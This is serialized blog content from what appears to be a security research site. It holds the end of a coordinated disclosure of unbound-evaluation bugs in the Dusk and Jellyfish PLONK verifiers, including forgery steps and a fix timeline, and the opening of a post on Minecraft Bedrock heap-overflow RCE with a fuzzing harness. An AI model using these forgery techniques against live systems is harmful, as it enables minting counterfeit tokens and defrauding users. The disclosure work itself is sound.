(",{"type":23,"tag":940,"props":156870,"children":156873},{"href":156871,"rel":156872},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[944],[156874],{"type":29,"value":156875},"preverify path",{"type":29,"value":156877},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":23,"tag":2797,"props":156879,"children":156880},{},[156881,156886,156891],{"type":23,"tag":2801,"props":156882,"children":156883},{},[156884],{"type":29,"value":156885},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":23,"tag":2801,"props":156887,"children":156888},{},[156889],{"type":29,"value":156890},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":23,"tag":2801,"props":156892,"children":156893},{},[156894],{"type":29,"value":156895},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":23,"tag":32,"props":156897,"children":156898},{},[156899],{"type":29,"value":156900},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":23,"tag":2797,"props":156902,"children":156903},{},[156904,156909,156919,156931,156936],{"type":23,"tag":2801,"props":156905,"children":156906},{},[156907],{"type":29,"value":156908},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":23,"tag":2801,"props":156910,"children":156911},{},[156912,156914],{"type":29,"value":156913},"The malicious wallet forges a PLONK proof to create ",{"type":23,"tag":16596,"props":156915,"children":156916},{},[156917],{"type":29,"value":156918},"2000 DUSK from nothing",{"type":23,"tag":2801,"props":156920,"children":156921},{},[156922,156924,156929],{"type":29,"value":156923},"The malicious wallet transfers ",{"type":23,"tag":16596,"props":156925,"children":156926},{},[156927],{"type":29,"value":156928},"1337 DUSK",{"type":29,"value":156930}," to the honest wallet using a normal (honestly-proved) transaction",{"type":23,"tag":2801,"props":156932,"children":156933},{},[156934],{"type":29,"value":156935},"The honest node validates both transactions and mines them into blocks",{"type":23,"tag":2801,"props":156937,"children":156938},{},[156939],{"type":29,"value":156940},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":23,"tag":32,"props":156942,"children":156943},{},[156944],{"type":23,"tag":15189,"props":156945,"children":156948},{"alt":156946,"src":156947},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":23,"tag":32,"props":156950,"children":156951},{},[156952,156954,156960,156962,156969],{"type":29,"value":156953},"At the time of discovery, DUSK's market cap was roughly ",{"type":23,"tag":940,"props":156955,"children":156957},{"href":152255,"rel":156956},[944],[156958],{"type":29,"value":156959},"~60M",{"type":29,"value":156961},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":23,"tag":940,"props":156963,"children":156966},{"href":156964,"rel":156965},"https://neptune.cash/articles/critical-vulnerability-disclosure",[944],[156967],{"type":29,"value":156968},"Triton VM vulnerability",{"type":29,"value":557},{"type":23,"tag":30016,"props":156971,"children":156972},{},[],{"type":23,"tag":24,"props":156974,"children":156976},{"id":156975},"the-fix",[156977],{"type":29,"value":156978},"The fix",{"type":23,"tag":32,"props":156980,"children":156981},{},[156982],{"type":29,"value":156983},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":23,"tag":27910,"props":156985,"children":156986},{},[156987,157032],{"type":23,"tag":2801,"props":156988,"children":156989},{},[156990,156992,157003,157005,157011,157012,157018,157019,157025,157026],{"type":29,"value":156991},"Extend ",{"type":23,"tag":940,"props":156993,"children":156996},{"href":156994,"rel":156995},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[944],[156997],{"type":23,"tag":71,"props":156998,"children":157000},{"className":156999},[],[157001],{"type":29,"value":157002},"compute_aggregate_witness",{"type":29,"value":157004}," on the prover side to also include ",{"type":23,"tag":71,"props":157006,"children":157008},{"className":157007},[],[157009],{"type":29,"value":157010},"q_arith",{"type":29,"value":611},{"type":23,"tag":71,"props":157013,"children":157015},{"className":157014},[],[157016],{"type":29,"value":157017},"q_c",{"type":29,"value":611},{"type":23,"tag":71,"props":157020,"children":157022},{"className":157021},[],[157023],{"type":29,"value":157024},"q_l",{"type":29,"value":5777},{"type":23,"tag":71,"props":157027,"children":157029},{"className":157028},[],[157030],{"type":29,"value":157031},"q_r",{"type":23,"tag":2801,"props":157033,"children":157034},{},[157035,157037,157047],{"type":29,"value":157036},"Add their evaluations to ",{"type":23,"tag":940,"props":157038,"children":157041},{"href":157039,"rel":157040},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[944],[157042],{"type":23,"tag":71,"props":157043,"children":157045},{"className":157044},[],[157046],{"type":29,"value":156149},{"type":29,"value":157048}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":23,"tag":32,"props":157050,"children":157051},{},[157052,157054,157061],{"type":29,"value":157053},"This was done in ",{"type":23,"tag":940,"props":157055,"children":157058},{"href":157056,"rel":157057},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[944],[157059],{"type":29,"value":157060},"commit 645265b7",{"type":29,"value":157062},", which landed on February 14, 2026.",{"type":23,"tag":30016,"props":157064,"children":157065},{},[],{"type":23,"tag":24,"props":157067,"children":157069},{"id":157068},"why-was-this-missed",[157070],{"type":29,"value":157071},"Why was this missed?",{"type":23,"tag":32,"props":157073,"children":157074},{},[157075,157077,157084,157085,157092,157094,157101,157103,157110],{"type":29,"value":157076},"Dusk's stack had been heavily audited: a ",{"type":23,"tag":940,"props":157078,"children":157081},{"href":157079,"rel":157080},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[944],[157082],{"type":29,"value":157083},"December 2023 audit of dusk-plonk",{"type":29,"value":134725},{"type":23,"tag":940,"props":157086,"children":157089},{"href":157087,"rel":157088},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[944],[157090],{"type":29,"value":157091},"September 2024 audit of Phoenix",{"type":29,"value":157093},", and a ",{"type":23,"tag":940,"props":157095,"children":157098},{"href":157096,"rel":157097},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[944],[157099],{"type":29,"value":157100},"September 2024 Oak Security audit of the Rusk node library",{"type":29,"value":157102},". Dusk's public ",{"type":23,"tag":940,"props":157104,"children":157107},{"href":157105,"rel":157106},"https://dusk.network/news/audits-overview",[944],[157108],{"type":29,"value":157109},"audits overview",{"type":29,"value":157111}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":23,"tag":32,"props":157113,"children":157114},{},[157115,157117,157122],{"type":29,"value":157116},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":23,"tag":9690,"props":157118,"children":157119},{},[157120],{"type":29,"value":157121},"evaluations",{"type":29,"value":557},{"type":23,"tag":32,"props":157124,"children":157125},{},[157126],{"type":29,"value":157127},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":23,"tag":32,"props":157129,"children":157130},{},[157131],{"type":29,"value":157132},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":23,"tag":24,"props":157134,"children":157136},{"id":157135},"a-similar-bug-in-espresso-systems-jellyfish",[157137],{"type":29,"value":157138},"A similar bug in Espresso Systems' Jellyfish",{"type":23,"tag":32,"props":157140,"children":157141},{},[157142,157144,157151],{"type":29,"value":157143},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":23,"tag":940,"props":157145,"children":157148},{"href":157146,"rel":157147},"https://github.com/EspressoSystems/jellyfish/",[944],[157149],{"type":29,"value":157150},"jf-plonk",{"type":29,"value":157152}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":23,"tag":32,"props":157154,"children":157155},{},[157156,157158,157165,157167,157178,157180,157205,157207,157232],{"type":29,"value":157157},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":23,"tag":940,"props":157159,"children":157162},{"href":157160,"rel":157161},"https://eprint.iacr.org/2020/315",[944],[157163],{"type":29,"value":157164},"Plookup",{"type":29,"value":157166}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":23,"tag":940,"props":157168,"children":157171},{"href":157169,"rel":157170},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[944],[157172],{"type":23,"tag":71,"props":157173,"children":157175},{"className":157174},[],[157176],{"type":29,"value":157177},"append_plookup_evaluations",{"type":29,"value":157179}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":23,"tag":71,"props":157181,"children":157183},{"className":157182},[15256,15257],[157184],{"type":23,"tag":75,"props":157185,"children":157187},{"className":157186},[15262],[157188],{"type":23,"tag":75,"props":157189,"children":157191},{"className":157190,"ariaHidden":15268},[15267],[157192],{"type":23,"tag":75,"props":157193,"children":157195},{"className":157194},[15273],[157196,157200],{"type":23,"tag":75,"props":157197,"children":157199},{"className":157198,"style":121223},[15278],[],{"type":23,"tag":75,"props":157201,"children":157203},{"className":157202,"style":103868},[15284,32803],[157204],{"type":29,"value":124286},{"type":29,"value":157206}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":23,"tag":71,"props":157208,"children":157210},{"className":157209},[15256,15257],[157211],{"type":23,"tag":75,"props":157212,"children":157214},{"className":157213},[15262],[157215],{"type":23,"tag":75,"props":157216,"children":157218},{"className":157217,"ariaHidden":15268},[15267],[157219],{"type":23,"tag":75,"props":157220,"children":157222},{"className":157221},[15273],[157223,157227],{"type":23,"tag":75,"props":157224,"children":157226},{"className":157225,"style":121223},[15278],[],{"type":23,"tag":75,"props":157228,"children":157230},{"className":157229,"style":103868},[15284,32803],[157231],{"type":29,"value":124286},{"type":29,"value":157233},", so the prover can adjust them after the fact to make the check pass.",{"type":23,"tag":32,"props":157235,"children":157236},{},[157237,157239,157245,157247,157253],{"type":29,"value":157238},"The attack requires modifying a single evaluation (",{"type":23,"tag":71,"props":157240,"children":157242},{"className":157241},[],[157243],{"type":29,"value":157244},"key_table_next_eval",{"type":29,"value":157246},") by ",{"type":23,"tag":71,"props":157248,"children":157250},{"className":157249},[],[157251],{"type":29,"value":157252},"delta / (u * v^3)",{"type":29,"value":157254}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":23,"tag":32,"props":157256,"children":157257},{},[157258,157260,157267,157269,157280],{"type":29,"value":157259},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":23,"tag":940,"props":157261,"children":157264},{"href":157262,"rel":157263},"https://github.com/EspressoSystems/jellyfish/pull/867",[944],[157265],{"type":29,"value":157266},"PR #867",{"type":29,"value":157268}," fixed the issue and was tagged as ",{"type":23,"tag":940,"props":157270,"children":157273},{"href":157271,"rel":157272},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[944],[157274],{"type":23,"tag":71,"props":157275,"children":157277},{"className":157276},[],[157278],{"type":29,"value":157279},"jf-plonk-v0.8.0",{"type":29,"value":157281}," on March 18, 2026.",{"type":23,"tag":30016,"props":157283,"children":157284},{},[],{"type":23,"tag":24,"props":157286,"children":157288},{"id":157287},"toward-standardization",[157289],{"type":29,"value":157290},"Toward standardization",{"type":23,"tag":32,"props":157292,"children":157293},{},[157294,157296,157303],{"type":29,"value":157295},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":23,"tag":940,"props":157297,"children":157300},{"href":157298,"rel":157299},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[944],[157301],{"type":29,"value":157302},"similar patterns appear across zkVMs",{"type":29,"value":157304},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":23,"tag":32,"props":157306,"children":157307},{},[157308],{"type":29,"value":157309},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":23,"tag":32,"props":157311,"children":157312},{},[157313],{"type":29,"value":157314},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":23,"tag":24,"props":157316,"children":157317},{"id":72004},[157318],{"type":29,"value":157319},"Disclosure timeline",{"type":23,"tag":66928,"props":157321,"children":157322},{},[157323,157339],{"type":23,"tag":133333,"props":157324,"children":157325},{},[157326],{"type":23,"tag":133337,"props":157327,"children":157328},{},[157329,157334],{"type":23,"tag":133341,"props":157330,"children":157331},{},[157332],{"type":29,"value":157333},"Date",{"type":23,"tag":133341,"props":157335,"children":157336},{},[157337],{"type":29,"value":157338},"Event",{"type":23,"tag":133361,"props":157340,"children":157341},{},[157342,157355,157368,157380,157406,157426],{"type":23,"tag":133337,"props":157343,"children":157344},{},[157345,157350],{"type":23,"tag":133368,"props":157346,"children":157347},{},[157348],{"type":29,"value":157349},"2026-02-13",{"type":23,"tag":133368,"props":157351,"children":157352},{},[157353],{"type":29,"value":157354},"Dusk vulnerability reported",{"type":23,"tag":133337,"props":157356,"children":157357},{},[157358,157363],{"type":23,"tag":133368,"props":157359,"children":157360},{},[157361],{"type":29,"value":157362},"2026-02-14",{"type":23,"tag":133368,"props":157364,"children":157365},{},[157366],{"type":29,"value":157367},"Dusk acknowledged",{"type":23,"tag":133337,"props":157369,"children":157370},{},[157371,157375],{"type":23,"tag":133368,"props":157372,"children":157373},{},[157374],{"type":29,"value":157362},{"type":23,"tag":133368,"props":157376,"children":157377},{},[157378],{"type":29,"value":157379},"Dusk fix committed",{"type":23,"tag":133337,"props":157381,"children":157382},{},[157383,157388],{"type":23,"tag":133368,"props":157384,"children":157385},{},[157386],{"type":29,"value":157387},"2026-02-27",{"type":23,"tag":133368,"props":157389,"children":157390},{},[157391,157393,157404],{"type":29,"value":157392},"Public ",{"type":23,"tag":940,"props":157394,"children":157397},{"href":157395,"rel":157396},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[944],[157398],{"type":23,"tag":71,"props":157399,"children":157401},{"className":157400},[],[157402],{"type":29,"value":157403},"dusk-rusk-1.6.0",{"type":29,"value":157405}," release published",{"type":23,"tag":133337,"props":157407,"children":157408},{},[157409,157414],{"type":23,"tag":133368,"props":157410,"children":157411},{},[157412],{"type":29,"value":157413},"2026-03-16",{"type":23,"tag":133368,"props":157415,"children":157416},{},[157417,157419,157425],{"type":29,"value":157418},"Jellyfish fix PR opened (",{"type":23,"tag":940,"props":157420,"children":157422},{"href":157262,"rel":157421},[944],[157423],{"type":29,"value":157424},"#867",{"type":29,"value":1347},{"type":23,"tag":133337,"props":157427,"children":157428},{},[157429,157434],{"type":23,"tag":133368,"props":157430,"children":157431},{},[157432],{"type":29,"value":157433},"2026-03-18",{"type":23,"tag":133368,"props":157435,"children":157436},{},[157437,157439,157444,157446],{"type":29,"value":157438},"Jellyfish fix merged in ",{"type":23,"tag":940,"props":157440,"children":157442},{"href":157262,"rel":157441},[944],[157443],{"type":29,"value":157424},{"type":29,"value":157445}," and tagged as ",{"type":23,"tag":940,"props":157447,"children":157449},{"href":157271,"rel":157448},[944],[157450],{"type":23,"tag":71,"props":157451,"children":157453},{"className":157452},[],[157454],{"type":29,"value":157279},{"type":23,"tag":24,"props":157456,"children":157458},{"id":157457},"acknowledgements",[157459],{"type":29,"value":157460},"Acknowledgements",{"type":23,"tag":32,"props":157462,"children":157463},{},[157464],{"type":29,"value":157465},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":100,"depth":100,"links":157467},[157468,157475,157476,157477,157478,157479,157480,157481,157482,157483,157484,157485],{"id":152285,"depth":100,"text":152288,"children":157469},[157470,157471,157472,157473,157474],{"id":152310,"depth":121,"text":152313},{"id":153113,"depth":121,"text":153116},{"id":154311,"depth":121,"text":154314},{"id":154341,"depth":121,"text":154344},{"id":154622,"depth":121,"text":154625},{"id":155355,"depth":100,"text":155358},{"id":155493,"depth":100,"text":155496},{"id":100636,"depth":100,"text":156124},{"id":156723,"depth":100,"text":156726},{"id":156860,"depth":100,"text":156863},{"id":156975,"depth":100,"text":156978},{"id":157068,"depth":100,"text":157071},{"id":157135,"depth":100,"text":157138},{"id":157287,"depth":100,"text":157290},{"id":72004,"depth":100,"text":157319},{"id":157457,"depth":100,"text":157460},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":157490,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":157491,"description":157492,"date":157493,"author":133992,"image":157494,"isFeatured":15,"onBlogPage":15,"tags":157496,"body":157499,"_type":14157,"_id":166879,"_source":14159,"_file":166880,"_stem":166881,"_extension":14162},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":157495,"width":107603,"height":14},"/posts/minecraft-heap-overflow-to-rce/title.png",[157497,157498],"minecraft","rce",{"type":20,"children":157500,"toc":166856},[157501,157506,157511,157516,157522,157527,157546,157551,157557,157562,157567,157573,157578,157583,157588,157594,157599,157604,157610,157630,157642,157649,157671,157685,157692,157698,157708,157728,157733,157739,157752,158097,158102,158110,158116,158135,158443,158471,158514,158526,158534,158539,159008,159027,159048,159390,159414,159686,159710,159737,159946,159965,159973,159992,159998,160060,160063,160085,160089,160094,160099,160105,160110,160124,160130,160144,160150,160163,160168,160176,160181,160187,160208,160216,160229,160232,160237,160251,160256,160261,160267,160272,160295,160300,160306,160311,160323,160335,160449,160469,160474,160479,160485,160490,160510,161125,161138,162212,162217,162225,162230,162236,162241,162249,162262,162267,162272,162279,162292,162297,162304,162359,162379,162386,162405,162412,162415,162420,162425,162431,162443,162456,162464,162535,162546,162580,162588,162593,162598,162604,162616,162635,162647,162652,162660,162679,162687,162706,162714,162740,162748,162753,162761,162766,162774,162777,162782,162787,162793,162806,162824,162862,162892,162900,162905,162911,162916,162921,162927,162939,163108,163120,163128,163133,163140,163145,163206,163253,163265,163270,163296,163370,163408,163413,163421,163442,163447,163473,163507,163560,163607,163613,163632,163664,163672,163775,163846,163852,163878,163885,163890,163897,163902,164143,164169,164174,164222,164227,164233,164265,164277,164309,164317,164356,164364,164369,164377,164382,164390,164402,164410,164422,164430,164442,164462,164468,164488,164505,164513,164525,164533,164552,164557,164565,164570,164578,164604,164615,164622,164627,164635,164640,164648,164653,164661,164666,164674,164679,164687,164692,164700,164741,164748,164753,164761,164766,164774,164779,164787,164792,164797,164805,164810,164818,164844,164852,164878,164886,164891,164899,164904,164912,164920,164925,164933,164938,164946,164949,164960,164994,165012,165020,165040,165046,165065,165123,165143,165151,165154,165193,165253,165258,165264,165277,165285,165337,165376,165384,165417,165420,165440,165448,165454,165459,165467,165507,165548,165568,165573,165578,165596,165602,165607,165626,165687,165695,165721,165727,165747,165752,165757,165764,165829,165834,165841,165862,165867,165879,165885,165918,165925,165930,165958,165965,166021,166033,166040,166101,166120,166126,166160,166181,166208,166216,166269,166339,166345,166365,166408,166413,166811,166817,166822,166833,166837,166842,166847,166852],{"type":23,"tag":46567,"props":157502,"children":157504},{"id":157503},"pwning-minecraft-4-byte-heap-overflow-to-rce",[157505],{"type":29,"value":157491},{"type":23,"tag":32,"props":157507,"children":157508},{},[157509],{"type":29,"value":157510},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":23,"tag":32,"props":157512,"children":157513},{},[157514],{"type":29,"value":157515},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":23,"tag":24,"props":157517,"children":157519},{"id":157518},"the-target",[157520],{"type":29,"value":157521},"The Target",{"type":23,"tag":32,"props":157523,"children":157524},{},[157525],{"type":29,"value":157526},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":23,"tag":32,"props":157528,"children":157529},{},[157530,157532,157537,157539,157544],{"type":29,"value":157531},"There are two main editions: ",{"type":23,"tag":16596,"props":157533,"children":157534},{},[157535],{"type":29,"value":157536},"Minecraft Java Edition",{"type":29,"value":157538},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":23,"tag":16596,"props":157540,"children":157541},{},[157542],{"type":29,"value":157543},"Minecraft Bedrock Edition",{"type":29,"value":157545},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":23,"tag":32,"props":157547,"children":157548},{},[157549],{"type":29,"value":157550},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":23,"tag":923,"props":157552,"children":157554},{"id":157553},"choice-of-context",[157555],{"type":29,"value":157556},"Choice of Context",{"type":23,"tag":32,"props":157558,"children":157559},{},[157560],{"type":29,"value":157561},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":23,"tag":32,"props":157563,"children":157564},{},[157565],{"type":29,"value":157566},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":23,"tag":923,"props":157568,"children":157570},{"id":157569},"resource-packs",[157571],{"type":29,"value":157572},"Resource Packs",{"type":23,"tag":32,"props":157574,"children":157575},{},[157576],{"type":29,"value":157577},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":23,"tag":32,"props":157579,"children":157580},{},[157581],{"type":29,"value":157582},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":23,"tag":32,"props":157584,"children":157585},{},[157586],{"type":29,"value":157587},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":23,"tag":24,"props":157589,"children":157591},{"id":157590},"finding-a-memory-corruption-bug",[157592],{"type":29,"value":157593},"Finding a Memory Corruption Bug",{"type":23,"tag":32,"props":157595,"children":157596},{},[157597],{"type":29,"value":157598},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":23,"tag":32,"props":157600,"children":157601},{},[157602],{"type":29,"value":157603},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":23,"tag":923,"props":157605,"children":157607},{"id":157606},"locating-image-parsing-code",[157608],{"type":29,"value":157609},"Locating Image Parsing Code",{"type":23,"tag":32,"props":157611,"children":157612},{},[157613,157615,157621,157622,157628],{"type":29,"value":157614},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":23,"tag":71,"props":157616,"children":157618},{"className":157617},[],[157619],{"type":29,"value":157620},"PNG",{"type":29,"value":24377},{"type":23,"tag":71,"props":157623,"children":157625},{"className":157624},[],[157626],{"type":29,"value":157627},"GIF",{"type":29,"value":157629}," and look for error logging or other messages that use those substrings.",{"type":23,"tag":32,"props":157631,"children":157632},{},[157633,157635,157640],{"type":29,"value":157634},"Searching for the string ",{"type":23,"tag":71,"props":157636,"children":157638},{"className":157637},[],[157639],{"type":29,"value":157627},{"type":29,"value":157641}," returned some interesting results:",{"type":23,"tag":32,"props":157643,"children":157644},{},[157645],{"type":23,"tag":15189,"props":157646,"children":157648},{"alt":61763,"src":157647},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":23,"tag":32,"props":157650,"children":157651},{},[157652,157654,157661,157663,157670],{"type":29,"value":157653},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":23,"tag":940,"props":157655,"children":157658},{"href":157656,"rel":157657},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[944],[157659],{"type":29,"value":157660},"stb_image.h",{"type":29,"value":157662},". For an example: usage of ",{"type":23,"tag":940,"props":157664,"children":157667},{"href":157665,"rel":157666},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[944],[157668],{"type":29,"value":157669},"bad Image Descriptor",{"type":29,"value":557},{"type":23,"tag":32,"props":157672,"children":157673},{},[157674,157676,157683],{"type":29,"value":157675},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":23,"tag":940,"props":157677,"children":157680},{"href":157678,"rel":157679},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[944],[157681],{"type":29,"value":157682},"stbi__gif_load_next",{"type":29,"value":157684},", and loaded the resource pack - this confirmed its usage:",{"type":23,"tag":32,"props":157686,"children":157687},{},[157688],{"type":23,"tag":15189,"props":157689,"children":157691},{"alt":61763,"src":157690},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":23,"tag":923,"props":157693,"children":157695},{"id":157694},"stb-image-library",[157696],{"type":29,"value":157697},"STB Image Library",{"type":23,"tag":32,"props":157699,"children":157700},{},[157701,157706],{"type":23,"tag":71,"props":157702,"children":157704},{"className":157703},[],[157705],{"type":29,"value":157660},{"type":29,"value":157707}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":23,"tag":32,"props":157709,"children":157710},{},[157711,157713,157718,157720,157727],{"type":29,"value":157712},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":23,"tag":71,"props":157714,"children":157716},{"className":157715},[],[157717],{"type":29,"value":157660},{"type":29,"value":157719}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":23,"tag":940,"props":157721,"children":157724},{"href":157722,"rel":157723},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[944],[157725],{"type":29,"value":157726},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":29,"value":557},{"type":23,"tag":32,"props":157729,"children":157730},{},[157731],{"type":29,"value":157732},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":23,"tag":30116,"props":157734,"children":157736},{"id":157735},"fuzzing",[157737],{"type":29,"value":157738},"Fuzzing",{"type":23,"tag":32,"props":157740,"children":157741},{},[157742,157744,157751],{"type":29,"value":157743},"The fuzzer consisted of a very simple ",{"type":23,"tag":940,"props":157745,"children":157748},{"href":157746,"rel":157747},"https://github.com/AFLplusplus/AFLplusplus",[944],[157749],{"type":29,"value":157750},"AFL++",{"type":29,"value":37941},{"type":23,"tag":64,"props":157753,"children":157755},{"code":157754,"language":14432,"meta":7,"className":27738,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[157756],{"type":23,"tag":71,"props":157757,"children":157758},{"__ignoreMap":7},[157759,157772,157784,157791,157837,157849,157870,157877,157901,157916,157923,157930,158002,158026,158041,158048,158055,158068,158075,158090],{"type":23,"tag":75,"props":157760,"children":157761},{"class":77,"line":78},[157762,157767],{"type":23,"tag":75,"props":157763,"children":157764},{"style":175},[157765],{"type":29,"value":157766},"#define",{"type":23,"tag":75,"props":157768,"children":157769},{"style":88},[157770],{"type":29,"value":157771}," STB_IMAGE_IMPLEMENTATION\n",{"type":23,"tag":75,"props":157773,"children":157774},{"class":77,"line":100},[157775,157779],{"type":23,"tag":75,"props":157776,"children":157777},{"style":175},[157778],{"type":29,"value":100750},{"type":23,"tag":75,"props":157780,"children":157781},{"style":1266},[157782],{"type":29,"value":157783}," 